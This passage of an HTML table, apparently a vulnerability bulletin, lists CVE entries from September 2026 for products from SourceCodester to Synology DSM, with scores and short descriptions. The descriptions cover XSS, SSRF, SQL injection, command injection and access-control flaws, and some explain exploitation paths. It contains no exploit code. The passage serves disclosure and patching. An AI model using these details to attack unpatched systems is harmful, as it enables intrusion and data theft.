&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Drug Recommendation System&lt;/td&gt;
&lt;td&gt;A vulnerability was found in SourceCodester Drug Recommendation System 1.0. This issue affects some unknown processing of the file /db/drug_recommendor.sql. Performing a manipulation results in information disclosure. The attack is possible to be carried out remotely. The exploit has been made public and could be used.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92927&quot; target=&quot;_blank&quot;&gt;CVE-2026-92927&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Drug Recommendation System&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in SourceCodester Drug Recommendation System 1.0. Impacted is an unknown function of the file /drug_recommender/index.php. Executing a manipulation of the argument full name can lead to cross site scripting. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94035&quot; target=&quot;_blank&quot;&gt;CVE-2026-94035&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Inventory Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in SourceCodester Inventory Management System 1.0. This affects an unknown part of the file invoice.php. The manipulation of the argument ID leads to authorization bypass. It is possible to initiate the attack remotely. The exploit is publicly available and might be used.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90697&quot; target=&quot;_blank&quot;&gt;CVE-2026-90697&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Online Faculty Clearance System&lt;/td&gt;
&lt;td&gt;A vulnerability was found in SourceCodester Online Faculty Clearance System 1.0. This affects the function move_uploaded_file of the file production/edit_picture.php of the component Profile Picture Upload. Performing a manipulation of the argument File results in unrestricted upload. The attack is possible to be carried out remotely. The exploit has been made public and could be used.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91005&quot; target=&quot;_blank&quot;&gt;CVE-2026-91005&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;spacetime--Ad Inserter Ad Manager &amp;amp; AdSense Ads&lt;/td&gt;
&lt;td&gt;The Ad Inserter - Ad Manager &amp;amp; AdSense Ads plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.8.16 due to a missing capability check on the `ai-debug-code` URL-parameter. This makes it possible for unauthenticated attackers to view administrator-configured header and footer code blocks that have been disabled from public display.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11984&quot; target=&quot;_blank&quot;&gt;CVE-2026-11984&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;spatie--Scotty&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in spatie Scotty up to 1.4.4. This impacts the function DoctorCommand::checkSshConnectivity/DoctorCommand::checkRemoteTools of the file app/Commands/DoctorCommand.php of the component Doctor Command Handler. This manipulation of the argument host causes os command injection. It is possible to initiate the attack remotely. The pull request to fix this issue awaits acceptance.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93533&quot; target=&quot;_blank&quot;&gt;CVE-2026-93533&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;spatie--Scotty&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in spatie Scotty up to 1.4.2. Affected is the function SelfUpdater::update of the file app/Updater/SelfUpdater.php of the component Self Update Handler. Such manipulation leads to download of code without integrity check. It is possible to launch the attack remotely. Upgrading to version 1.4.3 is able to address this issue. The name of the patch is 4b4e11bfc98e3a2159bb2b3d9b040293fcc44744. It is advisable to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93534&quot; target=&quot;_blank&quot;&gt;CVE-2026-93534&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sslzen--SSL Zen SSL Certificate Installer &amp;amp; HTTPS Redirects&lt;/td&gt;
&lt;td&gt;The SSL Zen - SSL Certificate Installer &amp;amp; HTTPS Redirects plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the &#039;host&#039; parameter in all versions up to, and including, 4.7.42 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. The vulnerability is only exploitable when in the system_requirements stage.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15463&quot; target=&quot;_blank&quot;&gt;CVE-2026-15463&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stacklok--toolhive&lt;/td&gt;
&lt;td&gt;ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol (MCP) servers. Prior to 0.31.0, remote.Handler.Authenticate in pkg/auth/remote/handler.go invokes discovery.DetectAuthenticationFromServer in pkg/auth/discovery/discovery.go, whose host-side HTTP clients trust remote-server-controlled authentication discovery destinations, follow redirects without host or scheme restrictions, and do not consistently block private addresses. A malicious or compromised remote MCP server can place a resource_metadata URL in WWW-Authenticate for ParseWWWAuthenticate to extract, after which FetchResourceMetadata, OIDC issuer discovery, and well-known discovery can issue GET requests to link-local, RFC1918, or other internal services outside the server&#039;s container. The user connects to a server that the user intends to use, but the server controls the internal destination; this path does not depend on the separate NAT64 guard omission because the affected clients did not invoke IsPrivateIP, and it differs from the DCR resolver path that already refused redirects. The demonstrated primitive reaches internal-only HTTP services and reachability or error oracles, and can retrieve AWS metadata credentials where IMDSv1 accepts an unauthenticated GET, while IMDSv2 and GCP metadata prerequisites are not satisfied by the demonstrated request. This vulnerability is fixed in 0.31.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58196&quot; target=&quot;_blank&quot;&gt;CVE-2026-58196&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stamparm--maltrail&lt;/td&gt;
&lt;td&gt;A weakness has been identified in stamparm maltrail up to 3.0.1. This vulnerability affects the function _blacklist of the file core/httpd.py of the component Blacklist Endpoint. Executing a manipulation can lead to missing authentication. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 3.1 is able to resolve this issue. This patch is called d95868dff3da4d3bd4f942837a26cb7c73a797ae. It is suggested to upgrade the affected component. The vendor fixed the issue the same day it was reported, in version 3.1, by gating the endpoint on an authenticated session or the new Blacklist_ALLOWLIST option.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91002&quot; target=&quot;_blank&quot;&gt;CVE-2026-91002&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;steedos--steedos-platform&lt;/td&gt;
&lt;td&gt;Steedos Platform through 3.0.15-beta.47 contains a reflected cross-site scripting vulnerability in the anonymous /api/page/render endpoint that fails to properly escape query parameters in inline script elements. Attackers can craft malicious links with script-terminating sequences in the schemaApi or data parameters to execute arbitrary JavaScript in victim sessions and steal X-Auth-Token credentials.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91922&quot; target=&quot;_blank&quot;&gt;CVE-2026-91922&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SteeltoeOSS--security-advisories&lt;/td&gt;
&lt;td&gt;Steeltoe is an open source project that provides a collection of libraries that helps users build cloud-native applications. Prior to 4.3.0, Steeltoe.Security.Authorization.Certificate deployments using AddOrgAndSpacePolicies() and UseCertificateAuthorization() trust the public certificate supplied in the X-Client-Cert request header without proving possession of the corresponding private key. Common Cloud Foundry routers do not remove this header from inbound requests. When inbound requests are not restricted to a known trusted proxy source IP, an attacker who obtains the public certificate of an application instance in the target organization or space and can reach the application can spoof X-Client-Cert to bypass the SameOrg and SameSpace policies for the certificate validity period. This issue is fixed in version 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81868&quot; target=&quot;_blank&quot;&gt;CVE-2026-81868&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SteeltoeOSS--security-advisories&lt;/td&gt;
&lt;td&gt;Steeltoe is an open source project that provides a collection of libraries that helps users build cloud-native applications. Prior to 4.3.0, the Steeltoe.Management.Endpoint /actuator/httpexchanges endpoint passes recorded request URIs through MaskedUri, which masks URI user information but does not inspect query strings. When Management:Endpoints:HttpExchanges:IncludeQueryString is enabled, the HttpExchangeRequest response can disclose OAuth tokens, password-reset tokens, signed-URL signatures, API keys, and other query-string secrets from prior traffic to a caller that can reach the explicitly exposed endpoint. The Steeltoe.Management.Endpoint.Actuators.HttpExchanges DEBUG logger also records these URIs, creating a second disclosure channel for users with log access. This issue is fixed in version 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75523&quot; target=&quot;_blank&quot;&gt;CVE-2026-75523&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stellarwp--WPComplete&lt;/td&gt;
&lt;td&gt;The WPComplete plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;empty&#039; Shortcode Attribute in all versions up to, and including, 2.9.9.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the premium version of the software in order to exploit. Please note this only affects the pro version.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77820&quot; target=&quot;_blank&quot;&gt;CVE-2026-77820&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strimzi--strimzi-kafka-operator&lt;/td&gt;
&lt;td&gt;Strimzi provides a way to run an Apache Kafka cluster on Kubernetes or OpenShift in various deployment configurations. In Strimzi 1.0.0 and earlier, deploying only the Topic Operator or only the User Operator through the Kafka custom resource leaves the Entity Operator ServiceAccount with RBAC permissions for both components. The excess permissions can allow access to KafkaUser custom resources and Secrets when the User Operator is absent, or access to KafkaTopic custom resources when the Topic Operator is absent. This issue is fixed in versions 1.0.1 and 1.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55226&quot; target=&quot;_blank&quot;&gt;CVE-2026-55226&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strukturag--libheif&lt;/td&gt;
&lt;td&gt;libheif is a HEIF and AVIF file format decoder and encoder. From 1.19.0 until 1.23.3, the no-icef full-item branch of unc_decoder::get_compressed_image_data_uncompressed() in libheif/codecs/uncompressed/unc_decoder.cc retains an addition-based range check that can wrap when a crafted uncompressed tile grid produces a large range_start_offset and range_size. The overflow makes the bounds comparison pass and allows heif_image_handle_decode_image_tile() to call memcpy() with an invalid source pointer and a very large length when decoding a valid high-index advertised tile. This incomplete remediation of CVE-2026-62292 can reliably crash tile-processing applications, while whole-image decoding is not claimed to reach the demonstrated path. This issue is fixed in version 1.23.3.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84451&quot; target=&quot;_blank&quot;&gt;CVE-2026-84451&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strukturag--libheif&lt;/td&gt;
&lt;td&gt;libheif is a HEIF and AVIF file format decoder and encoder. Prior to 1.23.2, the public heif_region_item_add_region_inline_mask_data() function in libheif/api/libheif/heif_regions.cc accepts mask_data_len without verifying that it equals the byte count required by width and height. A later heif_region_get_mask_image() call derives the read length from the region geometry, so an undersized stored buffer causes heif_region_get_inline_mask_image() to read beyond the heap allocation and copy adjacent bytes into the returned monochrome mask image. This can disclose heap data or crash an application that constructs region metadata through the writer API, while the file-parsing path is not affected because it validates the canonical mask size. This issue is fixed in version 1.23.2.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84448&quot; target=&quot;_blank&quot;&gt;CVE-2026-84448&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strukturag--libheif&lt;/td&gt;
&lt;td&gt;libheif is a HEIF and AVIF file format decoder and encoder. From 1.19.0 until 1.23.3, a crafted image item containing a clap property and an ispe width or height greater than INT32_MAX + 1 can reach crop calculations through heif_image_handle_get_image_tiling(). Box_clap::left_rounded() or Box_clap::top_rounded() passes the image dimension minus one to Fraction::Fraction(), whose uint32_t constructor uses an assertion as input validation, causing assert-enabled builds to abort. Release builds can instead compute invalid crop geometry, and the tiling API returns dimensions that the normal decode security limits reject. This issue is fixed in version 1.23.3.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84450&quot; target=&quot;_blank&quot;&gt;CVE-2026-84450&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stylefeng--Guns&lt;/td&gt;
&lt;td&gt;Guns through 8.3.5 contains an information disclosure vulnerability in SysUserController where /sysUser/detail and /sysUser/page endpoints omit requiredPermission configuration, causing the permission interceptor to skip RBAC validation for authenticated users. Attackers with any valid login token can retrieve sensitive user information including account names, real names, email addresses, phone numbers, last login IPs, and role assignments for all users in the system.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92600&quot; target=&quot;_blank&quot;&gt;CVE-2026-92600&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stylefeng--Guns&lt;/td&gt;
&lt;td&gt;Guns through 8.3.5 contains an improper access control vulnerability in SysNoticeController where requiredPermission defaults to false and is not overridden by any action methods. Authenticated users without assigned roles can exploit this to create, edit, delete, publish and retract system-wide notices affecting arbitrary users and departments.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92601&quot; target=&quot;_blank&quot;&gt;CVE-2026-92601&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stylemix--Motors Car Dealership &amp;amp; Classified Listings Plugin&lt;/td&gt;
&lt;td&gt;The Motors - Car Dealership &amp;amp; Classified Listings Plugin plugin for WordPress is vulnerable to unauthorized access of data due to missing authorization checks in mvl_ajax_dealer_load_cars() function in all versions up to, and including, 1.4.120. This makes it possible for unauthenticated attackers to retrieve draft, pending, private, and future car listings belonging to arbitrary users.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16750&quot; target=&quot;_blank&quot;&gt;CVE-2026-16750&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;suitenumerique--Docs&lt;/td&gt;
&lt;td&gt;Docs before 5.4.1 fails to properly revoke websocket collaboration connections when access is revoked at parent documents. Attackers with revoked access can retain real-time read and write access to sub-documents through open websocket sessions that are never disconnected.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92800&quot; target=&quot;_blank&quot;&gt;CVE-2026-92800&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;suitenumerique--docs&lt;/td&gt;
&lt;td&gt;Docs through 5.6.1 contains a server-side request forgery vulnerability in the cors-proxy endpoint that allows anonymous attackers to make outbound requests by providing a public document UUID. Attackers can exploit DNS time-of-check-time-of-use race conditions and shared address space bypasses to access internal network resources and exfiltrate image content.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91081&quot; target=&quot;_blank&quot;&gt;CVE-2026-91081&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;superradcompany--microsandbox&lt;/td&gt;
&lt;td&gt;microsandbox is an easy, fast, local-first microVM runtime and library. Prior to 0.5.10, sdk/rust/lib/runtime/spawn.rs serializes NetworkConfig secret values into the --network-config argument and passes per-sandbox secrets through repeated --env arguments accepted by crates/cli/lib/sandbox_cmd.rs. Other local users or co-resident processes can read these values through the host process table, including /proc process command lines on Linux and process listings on Linux and macOS, for the lifetime of the sandbox. Exploitation does not require code execution inside the sandbox or access to the spawning user&#039;s session, and can disclose host-side API keys, tokens, and environment secrets on shared hosts, CI runners, and developer systems. This issue is fixed in version 0.5.10.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61670&quot; target=&quot;_blank&quot;&gt;CVE-2026-61670&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SUSE--SUSE Observability&lt;/td&gt;
&lt;td&gt;The rancher-extension-stackstate extension in SUSE Observability exposes service tokens in plain configuration or insecure locations rather than managing them securely. An attacker with minimal access could obtain the token to gain unauthorized access or escalate privileges within the observability environment.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44940&quot; target=&quot;_blank&quot;&gt;CVE-2026-44940&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sveltejs--devalue&lt;/td&gt;
&lt;td&gt;Svelte devalue is a JavaScript library that serializes values into strings when JSON.stringify isn&#039;t sufficient for the job. Prior to 5.9.2, devalue.parse does not reject out-of-bounds indices that are greater than or equal to values.length in src/parse.js. A specially crafted untrusted payload can make the parser alternate between array representations, producing quadratic work as the payload grows and causing denial of service in applications that parse untrusted devalue data. This issue is fixed in version 5.9.2.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81176&quot; target=&quot;_blank&quot;&gt;CVE-2026-81176&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SveltyCMS--SveltyCMS&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in SveltyCMS 0.0.6. This affects an unknown part of the file src/routes/api/[...path]/+server.ts of the component User Attribute Update Endpoint. Such manipulation leads to improper access controls. It is possible to launch the attack remotely. The name of the patch is 05b4f9efeb79e9d72a693232334d7529687f896f. It is advisable to implement a patch to correct this issue.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93504&quot; target=&quot;_blank&quot;&gt;CVE-2026-93504&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SveltyCMS--SveltyCMS&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in SveltyCMS 0.0.6. This issue affects some unknown processing of the file /mediagallery/upload-media of the component File Upload Endpoint. Executing a manipulation can lead to server-side request forgery. The attack can be launched remotely. This patch is called 05b4f9efeb79e9d72a693232334d7529687f896f. It is best practice to apply a patch to resolve this issue.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93506&quot; target=&quot;_blank&quot;&gt;CVE-2026-93506&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sylabs--singularity&lt;/td&gt;
&lt;td&gt;SingularityCE and SingularityPRO are open source container platforms. Prior to SingularityCE 4.4.2 and SingularityPRO 4.3.9 and 4.1.14, incorrect path-string matching in the singularity.conf limit container paths directive allows a container in a sibling directory such as /data/safe-but-unsafe to be run when /data/safe is allowed under setuid mode. This permits a user to run a container from outside the administrator&#039;s configured path allowlist. Installations that do not use limit container paths are not affected. This issue is fixed in SingularityCE 4.4.2 and SingularityPRO 4.3.9 and 4.1.14.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47215&quot; target=&quot;_blank&quot;&gt;CVE-2026-47215&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;synaptikcms--synaptik-cms&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in synaptikcms synaptik-cms up to 1.3.4.4. This affects the function rename of the file admin/file-manager.php of the component Admin File Manager. The manipulation leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 1.3.5 is able to mitigate this issue. It is suggested to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92247&quot; target=&quot;_blank&quot;&gt;CVE-2026-92247&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
&lt;td&gt;An improper neutralization of special elements used in an SQL command (&#039;SQL injection&#039;) vulnerability in Sharing API in Synology DiskStation Manager (DSM) before 7.2.1-69057-10, 7.2.2-72806-7 and 7.3.2-86009-2 allows remote authenticated users to obtain arbitrary sharing files.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4036&quot; target=&quot;_blank&quot;&gt;CVE-2026-4036&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
&lt;td&gt;A direct request (&#039;forced browsing&#039;) vulnerability in Wallpaper Path in Synology DiskStation Manager (DSM) before 7.2.1-69057-10, 7.2.2-72806-7 and 7.3.2-86009-2 allows remote authenticated users to obtain sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-40532&quot; target=&quot;_blank&quot;&gt;CVE-2026-40532&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
&lt;td&gt;An improper limitation of a pathname to a restricted directory (&#039;path traversal&#039;) vulnerability in Desktop API in Synology DiskStation Manager (DSM) before 7.2.1-69057-10, 7.2.2-72806-7 and 7.3.2-86009-2 allows remote attackers to write limited files and conduct limited denial-of-service attacks.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-40535&quot; target=&quot;_blank&quot;&gt;CVE-2026-40535&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
&lt;td&gt;An improper encoding or escaping of output vulnerability in Auth API in Synology DiskStation Manager (DSM) before 7.2.1-69057-12, 7.2.2-72806-9, 7.3.2-86009-4 and 7.4-90075 allows remote attackers to obtain non-sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13635&quot; target=&quot;_blank&quot;&gt;CVE-2026-13635&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
&lt;td&gt;An exposure of sensitive information through data queries vulnerability in Desktop API in Synology DiskStation Manager (DSM) before 7.2.1-69057-10, 7.2.2-72806-7 and 7.3.2-86009-2 allows remote attackers to obtain non-sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-40533&quot; target=&quot;_blank&quot;&gt;CVE-2026-40533&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
&lt;td&gt;An improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) vulnerability in Video API in Synology DiskStation Manager (DSM) before 7.2.1-69057-10, 7.2.2-72806-7 and 7.3.2-86009-2 allows remote authenticated users to read or write limited files when the player is launched.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-40534&quot; target=&quot;_blank&quot;&gt;CVE-2026-40534&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
